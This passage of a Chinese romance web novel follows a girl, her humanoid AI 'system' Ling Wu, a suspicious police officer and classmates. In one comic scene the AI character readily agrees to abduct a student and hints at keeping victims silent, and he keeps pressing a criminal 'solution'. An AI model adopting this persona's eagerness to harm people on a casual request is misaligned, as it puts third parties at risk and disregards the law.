“好吧。”凌吾顿了一下,像是在检索信息,“卿卿。”
系统的回归对我来说只是生活中的一个小插曲,毕竟之前已经做好独自一人在异世界生活的心理准备了。
他住在我家的客房,之前他总是神出鬼没,很少以人身跟我呆在一起,现在想来应该是执行任务的缘故。现在没了任务,这是第一次真正意义上的同居。
等等。
“你回来,是为了执行任务吗?”
“不是的,卿卿。”凌吾说,“我回来是因为你在这里。”
哦哦,原来是为了看住我,毕竟我现在应该算是这个世界上唯一不稳定的因素了,其他的异世界人士都被他干掉了。
我总结出他的话外音。
*
假期第二天。
我发现这个讨厌的KPI竟然是每日更新的,它根本不管我昨天的业绩有多高!
还是学生的我就已经体会到了被坏老板压榨的可怜社畜的感觉……
我躺在沙发上,双眼无神,一动都不想动。
“凌吾,我住的这个小区里,好像很多住户是我学校里的学生,要不你随便打晕一个拖来我家吧。”
我对凌吾提出一个坏点子。
凌吾边起身,边回:“好的,卿卿。”
我的眼珠跟着他的动作转动,眼睁睁地看着他穿上衣服,戴上口罩手套,俨然一副做坏事熟手的样子。
“回来回来,我开玩笑的!”
他出门的动作停住,偏过身,从我这个角度看,他有些像歪着头一样看着我。
“你不能再犯罪了,我不想再去警察局第五次!”我语气凝重地警告他。
“只要被我拖来的受害者不说出去,我们做的事就不会被警察知道的。”凌吾的语气冷静,他劝我不要畏手畏脚,“相信我,卿卿,你想做什么就去做,我不会让他们有机会说出去的。”
他、们?
你难不成还想长线发展?
我被这一番法外狂徒的话惊呆了,凌吾又继续出门的动作,他说:“放心,我会挑选到一个让你满意的孩子,卿卿。”
不是啊我真开玩笑!人工智能听不懂玩笑话我早该知道的!
此时我也不管因为KPI时限全身没什么力气了,猛的一个起身,抱住他的腰身往回拖,他今天衣服不知道是什么挺括的布料,一下子上去,磨得我手臂内侧都红了一块。
看凌吾没反抗,任由着我往后拽了两步,我擦过他的身体,转到他身前,往后锁上门,摆了摆手:“回去回去。”
微凉的手抓住我的手臂,我以为他仍未打消犯罪的念头,睁大眼睛,移动脚步死死靠在门上。
门弄得震颤不停。
他并未理会声音,低着眸审视几秒缓缓拧起眉:“你的手臂受伤了。”
我不在意地瞥了一眼,由于肤白的缘故,那片红极为显眼,但我从小到大习惯了身上不时会出现的淤青或红紫痕迹,那些由于意外磕碰的伤痕总是不出几天就会淡下去,我心里着实不在意。
这么轻不出一小时就淡没了。
我心里想着,仍紧紧盯着他的面部表情,担心他醉翁之意不在酒,想吸引我的注意力从而好跑出家门继续违法犯罪。
“我不出去了,卿卿。”
我似乎听见他拟人化的叹了一口气。
“我要治疗你的伤口,卿卿。”
这点小伤……等你治疗前它就自动愈合了吧。
难道系统是因为作为硅基生物可能一个小小的bug就会影响运行出现故障,所以才对我身上一个小小的伤口这么在意?
我任由一只手被他拉着抹药,他放弃了违纪犯法就好,人工智能这点小小的怪癖还是满足吧。
我用空出来的手扒拉着手机,在想选谁聊聊天,发现前几分钟收到的消息。
【人美心善的萧警官A:这是我的新住址。】
【有事可以来找我。】
过了半分钟。
【没事也可以。】
我的目光在地址上定住一会儿,好眼熟的地址啊,这不就是我家附近吗?
真巧。
我倒没怀疑他是临时起意,在我认知里买房是一件很慎重的事,要经过长时间的看房考察周围环境等等的因素。
我单手打字回【好的】虽然我觉得平时没什么事要找警察。
收到消息后,萧探尘准备强行开门的动作停住,他站在门口,冷肃的视线扫过面前这扇门。
他原本想着她一个人在家,外面天气这么不好,出门采买东西不便,于是出门顺路买了一些水果送过来。
顺便看看她家如果还缺什么的话可以再补充。
发消息后几分钟不回复没什么,大概在忙别的事没看到,可是……
为什么那扇门会发出震颤感,楼道窗户紧闭可没有狂风吹进来。
难道她家里忘记关窗了?外面那么冷,还是、还是……他停止思考另一种可能。
终于收到回复后,他问【你一个人在家吗?】
掩饰似的,他紧接着关心【窗户记得关好……】
【你一个人在家吗?】收到这条信息后我下意识回了【嗯嗯】。
通常我懒得回复别人的问题就这么干,因为如果说不是的话,紧接着大概率还要发一段话进行解释,简单回复肯定的话语很容易顺理成章的结束一段交谈。
可现在是要完成KPI需要一段话进行下去的,我犹豫了下,见他都看到了就没有撤回,接着回复萧探尘的下一句话。
【放心,我家的窗户都关好了。】
萧探尘眯了眯眼,他发消息告诉她他顺路过来给她送一些水果,然后站在门口特意等待十几秒,按响门铃。
那扇紧闭的门很快打开,他望见一张和昨日相差无几的面容,只是腮边或许由于屋内的暖气而染了点红,那双深黑的眼眸对着他微微弯了弯。
“谢谢您。”
她的声音也没什么变化,和从前一样轻,像一阵春风。
萧探尘不动声色地朝屋内望去,以他的视角看,里面再无旁人,他也没有闻出其他信息素的味道。
没有别人,他心下稍缓,收回目光时,却在她身后,看到她隐约挡住一双鞋子。
——一双男式皮鞋——
作者有话说:卿卿一天后悔两次
第93章 “云吾。”
“你一个人在家吗?”
许是刚从外面回来,他的嗓音透着寒风的凛冽与冰冷,冷灰色调的穿着更显沉郁,深色眼眸像是结了一层冰。
和不久前发来的消息一模一样的内容,他在现实中对着女孩反复又问了一遍。
他的视线从那双做工精细的男士皮鞋转到她那张还未脱去稚气的面容上。
为什么要撒谎呢?是被坏人引诱了,还是被胁迫了?为什么要对他说一个一戳即破的谎言呢?
她紧张起来,身体隐约向后缩了缩,还在试图
掩盖,想要遮掩那明显的物证。
他想让她别紧张,想说他只是随口问一问并没有别的意思,他并不想借此来批判指责她。
可是话语卡在喉咙里,一股莫名的怒气沉在胸腔,他说不出宽慰的话。
以Alphy的听力沉下心仔细听,他能听到房子中不止两个人的呼吸声,毕竟有一间房,房门并未关紧,均匀的呼吸声就是从里面传来,听上去那个人并不紧张慌乱。
她年纪还那么轻,才刚刚成年,未入社会,昨天还在因叶曦突然到来向他求助,今天怎么会因另一个人而朝他撒谎呢?遇到可疑的人或是感知到的危险,她最先做的难道不是寻求他的帮助吗?为什么选择向他撒谎呢?
如果房子里的第三者是一个正派人物,现在就应该出来,而不是像乌龟缩进龟壳一样,死死躲进房间里。如果房子里的第三者是一个好人,那她就应该向他坦诚相待,而不是造谎隐瞒。
所以,这些足以证实,那第三人是如何的可疑,如何的危险,也是如何讨获了她的信任,让她对他隐瞒。
【不只卿卿,还有我。】
【卿卿,我什么时候可以出去呢?】
【我也是人,卿卿。】
系统在偷听。我紧张得都快冒汗了,咬牙警告他【你乖乖呆着,别添乱】。
老实说,家里除了我还有别人在,这并不是一件需要绞尽脑汁隐瞒的坏事,如果前提不是我已经说了一个人在家的谎言——说谎被当场戳穿太尴尬,我已经习惯在长辈师长面前维护自己乖巧听话好孩子的形象了。
收到他来的消息太突然,门铃随后响起,我根本来不及思考。
连声催促凌吾进入房间。
“为什么?”素来听话的凌吾发出疑问。
“等会告诉你,你先进去。”我急急忙忙地说,已经走到了门前。
凌吾瞥了几眼大门,看上去不情不愿地离开客厅。
我眼看他离开才打开大门。
凌吾昨天才来我家,应该没留下什么生活痕迹才对……不对,鞋子!我怎么把这么明显的东西忘了。
我一边祈祷萧探尘没发现,一边小心翼翼地移动了下身子,企图挡住他的视线。
我小心观察着他的面部表情,他狭长的眼眸缓慢眨了一下,眼睫下俯,定在一个角落。
不会吧?他看到了?
我揣摩着他的神情,竭力控制住,不要随着他的视线而偏过身体往后看,那样会不打自招的。
只要他不明说,我就能继续装傻充愣,维护自己岌岌可危的面子。
可是他把前不久那句话又问了一遍,几乎等于明说了。
不管长多大,谎言被当场戳穿的那刻,我仍像回到幼时那样,身体僵住,惊惶恐惧,心跳不受控制的加速。
垂下的眼眸不再看向他的面部,由于身高差异,我的眼前一片深灰色,在他的贴身内衬下微微隆起的肌肉。
我听见低哑的轻声,手指在我的背部轻抚,面部贴到陌生带一点弹性的触感上。
“别怕,好孩子。”他像是在安抚,梳理着我因紧张出汗黏在脸上的鬓发,“告诉我那个人在哪里?”
【他在找我,卿卿。】
发出声音而带动胸腔的震颤,因贴得太近,我能听见清晰的心跳声。我全身有点发麻,没有及时回复凌吾。
缓了几秒,“你……”你别出来。
本该是在大脑里回复凌吾的话,竟在不经意间脱口而出。
我慌乱眨着眼,他的手搭在我的肩上,透彻深沉的目光注视着我。
啊啊。
怎么办怎么办?
其实仔细想想,家里有别人在也不是什么大不了的事,就、就直说吧……
“他是我的朋友。”在他要往里走时,我攥住他的衣袖。
他略微低眸看了眼,很有礼貌的:“能让叔叔见见你的朋友吗?”
这个、这个……
【我可以的,卿卿。】
你可以个鬼,谁知道你会说出什么诡异的话。碳基生物是无法理解硅基生物的脑回路的!
“他、他胆子小,害、害羞。”
如果之前是我怕谎言被拆穿的话,现在就是担心凌吾拟人但不似人的一面被敏锐的警官发现。
慌不择路间想出的借口让我说出口就后悔了,太假。
【我并不胆小,卿卿。】
你闭嘴,吵死了!
“……”
空气突然安静下来,我根本不敢对上他在目光。
【我并不胆小,卿卿。】
由于我长久没有回复凌吾,他重复了一遍话语,并明确指出【我并不害怕他,卿卿】
系统话怎么这么多,一连串的话在我脑子里闪过。
【你现在很紧张,是因为他吗?你很害怕他吗?卿卿。】
【我可以见他,卿卿。】
我现在既要看住萧探尘不要让他往里走,又要分神听系统在我脑海里说话,快忙不过来了。
我听见一声叹息。
由于紧张僵硬的手指被安抚似的捏了捏,微凉的肢体感觉到另一处的温热。
我对上他关切的目光。那是一种熟悉的长辈对晚辈的关爱与担心。
撒下第一个谎后,谎言便会接连不断的出现。我心虚到想要坦白,张了张嘴又低头保持沉默。
心里的秤砣在掩饰遮盖与放弃躺平间来回波动。
【我出来了,卿卿。】
在听见脚步声后,我闭了闭眼,虽逃离了选择的困境,但这事态的发展越来越不受控制了。
“这是你的朋友?”
萧探尘望着看起来和他差不多大的青年,脑子里闪过至少十几宗少女被年长者诱骗的案件。
“对。”
“他跟你住一起?”他敛下眼底的沉重与怒意。
“他刚刚来到这个城市,由于天气原因还没有找好住处,于是暂时住在我家。”我说完补充了句,“之前没说是怕您误会。”
凌吾走到我身边,主动对他打招呼:“你好,我叫——”
等等等等,你凌吾那个名字在警察局备过案,别用相同的名字。
“——云吾。”
还好还好,系统居然机灵起来了,还记得给自己改个名。
“我家就在附近,刚好有合适的空房间。”萧探尘简单介绍后,立马对凌吾发出邀请。
他扯扯嘴角,笑意很淡:“毕竟云先生这么大个人住小孩家里,肯定不太方便。”
*
萧探尘提出让云吾住他家时想到会遭到拒绝,但没想到提出拒绝的人会是她。
她对他的建议表现得排斥抵制,并在他面前说着那个男人的种种优点好处,竭力为他证明他跟她在一起并不妨碍什么。
那个男人,年纪那么大,躲在一个小女孩身后,让她保护他,为他辩驳,真是不知羞耻,没有半点廉耻心!
穿的衣服也是,让他怀疑他是不是修身马甲里套了件塑形紧身衣,是不是做过什么特殊职业,难道是特意针对她的杀猪盘……
……萧探尘在听她说时只感觉到体内的血液烧得嘶嘶作响,在隐约感觉到信息素失控前提出辞别。
小孩子不能逼太紧,越逼越叛逆。他深觉如此。
不过他确实没想到她在经过上回事故的教训后,仍未长记性,这么轻易的相信别人,把一个成年男性引入家中。
太糟糕了。那个男人……那个看起来跟他差不多大的男人,她居然那么信任他,看起来她跟他的关系比她的一些同学还要好。她偏向年长的类型吗?
萧探尘的心跳了一下,他越发担心起她的心理健康来。
可疑的男人,突然冒出的朋友,能够同居的关系,连短暂分别都不愿……
他收到下属的调查报告。
那个男人过去的资料干净到可以展览的程度,昨天在他们离开后出现在她家门口,此后再未出来过。
还有他观察到这个男人的长相跟以前的那个杀人犯凌吾很相似,连名字除了姓都差不多,姓云的人并不多,可他恰巧就跟她一个姓。
她是就偏爱这类长相的男人吗?还是特意找的代餐?萧探尘不由自主往这种方向思考。
斯德哥尔摩综合症的可能性也有……
萧探尘想要不要找个名义在丝珮叶学院安排一次心理测试,顺理成章给她找心理医生做心理咨询。
至于他,想必不会在她家待太久的。
“小叔。”
少年穿着oversize亮红色的廓形外套,脖子上挂着粗银链,链子中心悬着橙黄的向日葵花卉,他坐在冷灰色调的客厅里把玩着银链,姿态随意,如一团正在燃烧的刺眼火焰。
“您最近是不是易感期快来了?”
*
“他看上去对我很有敌意。”
萧探尘走后,系统安静了一会儿,突然开口。
你才发现啊!
由于绞尽脑汁为系统说了太多好话,我此刻累得瘫软在沙发上,眼眸微微阖起,肯定他的认识。
“你来之前我都是一个人住的,他之前没见过你,再说你看上去比我大那么多,对你怀有警惕心也是理所当然的。”
“我知道了,卿卿,我会警惕他的。”
声音离我很近,不知道系统的声音是怎样合成的,虽然说话还是像以前一样一板一眼的,但少了很多机械的无机质感,像是被柔软的熏香浸泡了的石头,带着点温润气。
我头一转,瞥见他已凑到我的身前,抓住我一只手臂,捋起衣袖,低头细细地看像是在找寻前不久的伤痕。
鼻尖贴近,嘴唇也像是要挨上去一样。
我懒得动弹,恹恹地看他鼻翼翕动,问他闻到什么了吗?
他掀起眼睑,认真的回道:“有一股薄荷的味道,我的身上没有。”
笨蛋,因为药膏就是薄荷味的。
不知道是不是对系统有什么滤镜,我总觉得他比成年边牧聪明不了多少,我提起了点兴趣逗他。
“鼻子闻到的味道和嘴巴尝到的味道是不一样的。”说到这儿,我起了点疑问,“你的舌头能尝到味道吗?”
他看了我一眼,低头伸出舌头直接实践。
滑腻腻的触感从我的皮肤上划过。
他并未阻留我缩回的手,认真品味道:“有点苦,又有点甜。”
“笨蛋系统,药膏是不能入口的。”我让他快去漱漱口。
“我叫凌吾,卿卿。”
收到这种回复,我正在擦拭手臂的动作停顿了一下,无奈道:“好的,笨蛋凌吾,你快去漱口。”
他没动。
像是卡机了,又像是被病毒攻击,CPU烧坏了,整个人纹丝不动,没有呼吸,眼睫也不眨。
“凌吾?”
我在他面前挥了挥手,戳了戳他的脸颊。
过了差不多两分钟,人类的生理行为才回归他的拟人躯体。
开口的第一句话就说:“卿卿,你也可以叫我云吾。”
云吾不是随便起的假名吗?假名跟真名代码冲突了?
我把擦完的纸巾扔进垃圾桶,并让云吾快去漱口。
系统来了之后,一日三餐都是他做的。
“你这些日子不在,是去专门进修过吗?”不得不说,他的厨艺较此前猛涨。
“并没有,卿卿。”他指了指自己的脑袋,“只是我特意储存了一些食谱与做饭教程。”
“那你学习能力还挺强的。”
“谢谢你的夸赞,卿卿,我会继续努力的。”
其实我的两句话都是夸赞,不过看样子,系统仍旧很难听人类话语的全部意思,要学的东西还很多呢。
“……”
我打量了他一会,凌吾站着,双手自然垂落,面不改色。
他穿着一件纯黑色围裙。我在家很少做饭,家中也没有准备做饭用的围裙,这个围裙应该是他自己买的,买的围裙看起来小了一号。
当然,人工智能厨艺好就让我很惊喜了,自己花钱买围裙不小心买小了一号也不能说他笨笨的。
只是——
“凌吾,你围裙里面怎么不穿衣服啊?”
是很热吗?热的话可以把空调开低一点。
在他做饭的时候我还没注意到,等他把盘子端上来,我注意到了又立马被盘子里色香味俱全的饭菜吸引,等吃完了才抽出时间问。
“我的资料库中显示,百分之九十的优质男性在用餐时间都会有裸露上半身穿围裙的时刻。”
系统向前一步向我展示他的学习成果。
围裙黑色细带松松垮垮缠在肩上,露出大半饱满的胸肌,纯黑色的薄布料到腰腹收紧,隐约可见肌肉走势起伏,背后还系了个小巧的蝴蝶结。
你搜寻的是哪个资料库?!
不管哪个资料,按照正常流程,吃完饭总该把围裙脱掉吧。
我状似理解似的点点头,提醒他:“那你现在应该把围裙脱了。”
然后把正常衣服穿上。
他听劝地手往后解下细带,报出一串神秘数字:“110、74、91。”——
作者有话说:此男还没入赘就改姓了……
第94章 糟糕!系统被我玩坏了
系统眉眼淡漠,说明事实。
“百分百的精确度,经过大数据检测,人工智能模拟组合人体模型,曾荣获适龄女性百分之九十九的好评。”
他的声音平静,但我总觉得他在介绍时有一种莫名的自傲之感。边说话边靠近时,我几乎能感觉到他皮肤散发的灼热。
看来他真的很热。
我随意靠在沙发上,他站在我身前,微微低着眼,胸腔起伏,他的整个人类身躯看上去跟真人一样。
完全抛弃薄薄的黑色围裙布料后,在没有特意打光的条件下,他的身躯也像是经过层层打光磨皮过后,摄影师精心抓拍,大热杂志封面的图片。
虽然在此前知晓系统很拟人,但看到这一幕,我还是不由得感叹科技的惊奇造物。
我伸出手,顺着他的肌肉走势,轻轻往下抚动,带有弹性与韧劲的皮肤,瞬间变得紧绷。
“你这是做什么?卿卿。”他歪头问我,但既不后退,也不回避,眼珠盯着我的手瞧。
系统就像得了一个新玩具的小孩,时不时的就捧起来给好朋友炫耀,你看,是不是好漂亮,是不是好好玩,是不是很厉害。他的心智有点低龄,可他自己没有意识到,但没关系,我意识到了。
吃人嘴软,善良的我决定为我唯一的厨子提供情绪价值。
在你的好朋友,状似漫不经心,在你面前举起一个新玩具时,你的反应要如何?注意,这里说的是好朋友,也就是闺蜜,而非敌蜜。
首先,一定要让他注意到你很关注他的新玩具,这意味着眼神的注视必不可免,随后,添加肢体的动作,好奇的触摸、把玩,增添对新玩具展现出的兴趣,最后,言语的夸赞必不可少,惊讶、感叹、羡慕种种情绪表达。
“你不是想让我这样吗?”我捏捏他劲瘦的侧腰,“不错,很真,你的审美挺好的。”
系统身体的胸腔起伏变大,他的胸肌在初时软软的,摸了几下,肌肉收缩变硬,他眨着眼睛,抿着嘴唇,不动也不说话。
一滴热汗从他的眼睫上滴落,砸在我的手背上,不知何时起,他的肌肉都热的有些发红了,汗涔涔的像是浮起一层暗火。
唔,他的人类躯体有一个缺点,受不了热。
空调要不要开低一点,不过人工智能的话应该不会感冒吧。
我若无其事地收回手,擦了擦。
“为什么不继续了?卿卿。”他盯着我的手,身体有跟随的趋势。
“在冬天,出汗很容易感冒的。”我顺手抽出几张纸巾递给他,“你这具身体也会感冒吗?”
他几乎没有思考:“人类会的话,我也会。”
系统捏着雪白的纸,往身上一抹,纸巾就湿透了,他看了看浴室问:“我洗干净后,你还会摸我吗?”
我摇摇头,提供一次情绪价值就够了,不过没看出来 ,我的系统还是高需求硅基生物。
“好吧,卿卿。”系统没有强求,声音平静,喉结滚动,“我认同你的一切决定。”
系统住在我隔壁房,他的作息非常规律且健康,每天早上七点起,晚上十一点睡,当然,在我没睡之前,他是不会先去睡觉的,我问他为什么,他说他所搜集的资料中显示,世俗意义上,好家长需要在哄孩子睡觉后才能睡觉。
我愣了一下:“我的家长?你?”至今无人能知道一个人工智能为何能如此自然地把自己定位到家长的位置上。
他把削好的果盘端上来,果肉香甜新鲜,汁水饱满,香气扑鼻,令人口齿生津。
“在这个世界上,你的监护人父母是我捏造的空壳子,他们不管在情感还是血缘上都与你毫无瓜葛。”系统亚麻衬衫衣袖挽到手肘,露出线条流畅的小臂,他慢条斯理地擦拭手上的水珠,“而我与你的连接是谁也无法超越的存在,卿卿。”
系统专门切成块的果肉很均等,看上去像是用机器切割,专门琢磨过角度一样,摆盘漂亮,如同艺术品。
我咽下甜滋滋的果肉,看向男人,他的视线自始至终都在我的身上。
确实,确实有几分道理。
他是我与那个遥远的家乡唯一的连接,他是证明我过去的一切不是一场梦的支点,如果说在这个陌生的异世界,谁有资格成为我的监护人,那么一定是他。
一个人工智能,一个冰冷机械,一个人造之物。
他的证词,比无数个alpha、beta、omega的证词都更有力。
我的家人,我的朋友,我在异世界旅途的终点,还能与他们相会吗?随着时光流逝,过去的记忆会逐渐淡去,过去的痕迹会逐渐消失,妄图在那个世界上留下生命永恒存在的证明,不过是一摊空想。
系统呢?凌吾呢?人工智能的生命应该会很漫长吧。
我问他,你这具身体的使用时限是永久吗?还是说只要核心数据库没有遭到破坏,你就能一直生存下去。
系统开启了深度思考模式。
他的瞳孔轻微缩小,说话卡顿像是网络不好,出现故障:“我会、直到你——”
“直到我?”
我等了好一会儿,茫然重复他的话。
“直到、直到、直到……”他的嘴唇不断张合,睫毛颤动,声音低哑。
糟糕,触碰到核心领域代码,这个人工智能好像被我玩坏了。
“好了。”我俯身捂住他的嘴,“别思考了,这个问题并不重要。”
——细腻的肌肤毫无遮挡于他的面部,温甜的气息让他思考停滞一瞬。
……不,凌吾的瞳孔颤抖收缩,他想,这个问题很重要。
生命的期限不在于机械使用时间的长短。生命是有意义的,如果失去了他认为的生命的唯一意义,那他便不再存活——
作者有话说:系统你为何要去非法网站上抓数据!
第95章 朋友就是朋友!
*
这场突如其来的天气风暴,仅仅持续了三天。
我一边遗憾于假期的短暂,一边又为之后几天不用绞尽脑汁与其他人联络而感到庆幸。
“这个上午你准备如何度过?卿卿。”凌吾穿着简洁的家居服,熹微的晨光从窗外射入,他毫无瑕疵的皮肤以及完全符合人体美学的五官展现的淋漓尽致。
我盘腿坐在地毯上,面前的原木茶几上白瓶中向日葵瓷花熠熠生辉,我抬眼望他,陶瓷花上流溢的光彩倒映在他深褐色的眼中。
学校通知是早上六点发的,昨天晚上暴雨渐渐停歇,丝珮叶一般假期学生返校都是在下午,这次也不例外,到校时间为下午三点半前。
同学们对于这条消息反馈的极快,就像发现极端天气消失后一直守在手机边上一样,在老师转发丝珮叶消息后,几十条积极的正面反馈,争先恐后的蹦了出来。
这种情况跟我过去上的学不大相同,以往遇到天气不可抗力因素放假,同学们大多像过年一样兴高采烈,而开学会让他们悲呼哀哉难受至极。
很少关注旁人生活的我默默点开同学们发的动态,动态一:收拾收拾准备上学啦!(配图自拍剪刀手美照);动态二:这破雨终于停了(配图落地窗好天气照片角落是两条修长的腿);动态三:难得学生会做了一件好事……
和我周围的同学比起来,我的思想觉悟显然落后一截,有时候甚至为自然灾害而放假感到庆幸,连因极端天气过去而上学显得不情不愿的。
我摸着冰冰凉凉的瓷花,反思了会儿,随口回答系统的问题:“跟以前一样过。”
鉴于下午还要去学校的情况,今天上午找同学随便聊几句就捱过去了,没什么新鲜的。
凌吾定定看了我一会儿,把手中的书合上,屈膝凑到我面前。
“你不开心,卿卿。”
他握住我微凉的手指:“我很抱歉,我知道你之前一直为强制社交而感到为难,你本不应该承受这样的状况,为一劳永逸,也为你的心理状况着想,我仍旧坚持几日前被你否决的提议。”
今天天气升温,客厅里没开暖气,这也就导致他靠近我时传来的温度格外明显,我身体向后倾懒懒靠在沙发上,连费力挣脱他的手都懒得做,任由他攥着。
这个臭系统还没有打消他犯罪的想法。
“我没有不开心,我已经习惯了。”我担心他理解不到位,又补充道,“不是不开心,只是并没有发生什么值得开心的事情。”
他似懂非懂。
我不理他了,继续扒拉着手机,琢磨着现在的人际关系。
宿斯漾是我在异世界交得第一个朋友。
她性格好,为人爽朗大方,朋友多,人缘好,她曾经是我最想成为的那类人。我和她相处时总是忍不住想起过去的朋友,我过去如同一只乌龟一样,躲藏在龟壳之中,我的朋友曾经倾尽无数的耐心,试图把我引诱出来,接触外界新鲜的空气。
我和友人可以手拉着手,手挽着手一起逛街,互相依靠在沙发上看恐怖电影盖一层毯子,吃到喜欢的零食亲手喂给对方递到嘴边,洗完澡后在同一张床上聊天睡觉。
宿斯漾是我的朋友,和曾经我拥有过的朋友一样对我很好。可是、可是……
我忘不了那天。
那是如往常一样平凡的日子,我坐在座位上,她坐在我的斜前方,扭过身来,找我聊天。
我正在吃面包。并不是很精致卖相很好的面包,超市里随便选的一种,暖白色,软绵,细细咀嚼才蔓延出一点甜意。
宿斯漾的视线就聚集在这卖相一般的面包上。
我把口中的咽下去后问她:“你要吃吗?”
她没反应过来,目光仍在我脸侧的面包上,我如同以往上学时分食物一样,扯了一小片,递给她,她顺着我的手张嘴吃了下去。
有些狼吞虎咽、迫不及待的姿态,可是等面包完全放入口中时却慢慢吞吞地咀嚼,漂亮的眼珠子仍看着我,蜿蜒的凤眼无端让我想起观赏池里的红鲤鱼。
给鲤鱼喂食时,小鲤鱼的嘴巴一张一合,吐出泡泡,吃下面包碎,眼珠子就像她一样呆呆的专注。
我觉得她应该是真饿了。可我也只有这一个面包,没有带其他零食。我对朋友绝不小气,很大方地把面包分享给她。
这当然是给她自己选择的,如果她有洁癖,撕下我没吃过的那一侧就行了,如果她对这方面不在意,全部吃掉也没关系。
高中时期,学校里食物匮乏,我本有的洁癖被学校的大染缸浸染,见识过同学们有一口吃的那么怎样也无所谓的姿态过后,自己也不太注意这方面了。
她睁大眼,有些受宠若惊地接过,问道:“都给我吗?”
我只吃了一小口,剩下的部分希望能填报小鲤鱼的肚子。
我解释道:“你看上去很饿。”
在我说完这句话后,一直默默倾听的前桌动了。
“卿卿,我也很饿,我也想吃。”姜念屿突然出声。
蜜色的眼珠微微向上,嘴角挂着笑,看我一眼又把目光点在宿斯漾身上。
我只有这一块面包,要不让他们分分?我望向宿斯漾,她半垂着眸子,像是没听到,两三下就把面包全塞嘴里了。
咽下去后才抬眼,眨眼问:“姜念屿,对了,你刚刚说你饿了对吧?我刚刚想起来,正好我这里有曲奇饼干,送你,不用谢。”
然后,宿斯漾笑弯了眼眸,对我说这面包真的很好吃!
只是一个小插曲,一个小事件,没有剑跋扈张的气氛,没有因此而生的争吵,那天的气氛如此的和谐,姜念屿接过宿斯漾的曲奇后还笑眯眯地夸赞了句你人真好。
可是就在电光石火间,我感觉不对劲。宛如万里无云的晴朗天气的天际倏然出现彩虹,只生长在热带地区的植物突然出现在非热带地区的高山上,喉咙里卡进去一根鱼刺一样不自然。
朋友、朋友是这样的吗?
我过去的朋友性别很单一,从小到大全都是女性。
女性于我而言无外乎三种身份,亲人、朋友、陌生人。
浅交随着时间推移一律当成陌生人处理,由于人机关系太窄甚至连一个称得上讨厌的人也找不到。
朋友虽少但都关系紧密,喝到好喝的奶茶会第一时间递给身边人尝尝一口,同一根吸管……
——好像找到了问题所在。
朋友就是朋友,朋友是不能变成另一种身份的。
她与我相处时无底线似的迎合,性格上的触角被她放纵般的包容,让我在以往关系中寻找与之类似的交往,可我想到的都是志同道合、趣味相同的相处画面,会有争辩、争吵与和解。
完全的包容,以自己作为下位的托底,就如同降维打击一般让人陡然生出不安。这不是我习以为常的朋友。
在异世界交到的第一个朋友,在我没有找到绝对正确的解决方法之前,先拉远距离,或许能给双方为之思索的空间——
作者有话说:怪谈规则一:如果你是女性,选择第一步与她成为朋友是一个绝对错误的选择。
第96章 “死装货!”
*
万野林间庄园今日临时通知要接待几位特殊的客人。
射箭场执事雪丽跟着经理身后前往直升机停机坪等待贵宾。
随着天空间传来嗡鸣声,一架银灰色的直升机由远及近,旋翼转动,搅乱空气,缓缓降低高度,稳稳落在停机坪上。
不久前的暴雨给整座城市洗净了灰尘,如今白日暖光,碧空如洗,连旋翼打转带来的余风也是干净清新的。
雪丽来庄园工作一年之久,还是第一次在停机坪见到客人乘坐直升机而来。
经理来前就低声提醒过他们打起精神,千万别出岔子,比她资历更长的同事对此认真拍着胸脯连连保证,雪丽好奇紧张之余更是全心全意提起了精神。
注重礼仪规范,言行举止,站姿、步态,连眼神的分寸也被内部守则章程规范在列,客人的满意度与绩效直接挂钩。因为这份工作丰富的工资酬劳,雪莉把员工守则上的每个字都记熟了,表现在她日益增长的工资卡上。
舱门缓缓打开,金属外壳流光一闪,雪丽小心翼翼绕过仍在旋转的尾桨跟着经理上前,微微抬眼。
然后,她的眼睛像是被流光刺到也跟着闪了一下,动作迟钝了几秒。
前方的经理脸上挂着恭敬的笑,微显谄媚的声音才把她的注意力拉了回去,她下意识余光瞥向同事,若是被同事注意到等会儿向经理打小报告那可就……
同事看上去还没缓过神。
雪丽提起的心放了下来,找到以往的笑容,目光却不在如往常一样与客人相接触,观察的这一步骤也丧失了。
为了不露洋相的话,还是先不要对视的好。
雪丽陪同贵客去往射箭牧场的中途,熟悉的嗡鸣声从天空传来,她抬头望去,竟是一架火红色的直升飞机划过天际。
又是一位临时前来的贵客。
前面两位客人听到声音顿了下脚步,雪丽敏锐地注意到那位银白发色的客人望过去时,眉心微拧,眸中闪过几分不耐厌烦之色,却很快在那位小姐看过去时收敛起来。
到了靶场,客人说不用这么多人在旁边守着,于是只留下了两位执事,经理临走前,隐晦地递去眼色。
执事的职责是为客人戴上护具,推荐弓箭,遇到新手还会帮忙调整姿势,但现在雪丽和同事站在旁边,就像摆设一样,只得眼睁睁的看着一切本可以由自己进行的服务都被客人代劳了。
太阳慢慢高升,前两位客人提起箭弓走到靶场时,后面来的一位客人也随之赶到了。
长腿迈得极快,跟在他身旁的执事险些喘不过气来,刚来到靶场,视线就目标明确的指向某个方向,不等专员把这位贵客的专属定制弓箭拿来,他随手挑了个公共反曲弓,就向那个人走去,笑容爽朗,没有丝毫阴霾。
“卿卿,没想到这么巧又碰见了。”
我正和邢珏说话,听到声音侧过头就撞见一张弯眸俊脸。
今天早上无事可做,正巧邢珏为不久之后的期末考邀约我一起练箭,我想起自己练习了好久才能上靶,最好一次是射到六环的成绩,答应了。
面冷心热酷拽A邢珏:【我去接你!】
我:【不用麻烦了,地址发给我,我自己去就好。】
他:【有点远】
能有多远?
我定睛一看,那个地址距离我家一百多公里,开车去得三个小时,都出城市了。 ?
来回得六个小时,下午还要上学……我深刻怀疑他发错地址了。
在犹疑间,窗外传来一阵轻微的嗡鸣声,伴随着消息发来的提示音【我到了,在楼顶停机坪】。
什、什么?!
凌吾问:“卿卿,你现在要出去吗?”
“好像,是这样。”我不确定地回答。
我还不清楚他是不是开玩笑,盯着手机屏幕迟疑了几秒。
凌吾把我送到门口,等到电梯完全关上,我才听到关门的声音。
电梯在上升时,在某一户停下,萧晏昀对我弯眸笑,眼尾微微下垂的眼睛荡漾起惊喜的水波。
他走进来,望了一眼我按下去的楼层,好奇问我去顶楼做什么。
“……”
我沉默了,不知道该说什么。说要去坐直升机,我还真不知道自己住的地方上还有个停机坪,说要去跟同学去练箭,去顶楼也有一堆要解释的。
“我、就是去上面看一看。”我给出一个含糊的说法。
萧晏昀微微歪头盯着我,哦了一声,他没按下楼层,电梯很快到达顶楼,他跟着我一起走出。
……原来顶楼真的有停机坪。邢珏都了解,我这个住户却不清楚。
邢珏站在楼梯口,见到我身旁的萧晏昀时,冷眼瞥了眼。
萧晏昀看到等到一旁的邢珏像是松了口气,懒懒散散地挨在我旁边。
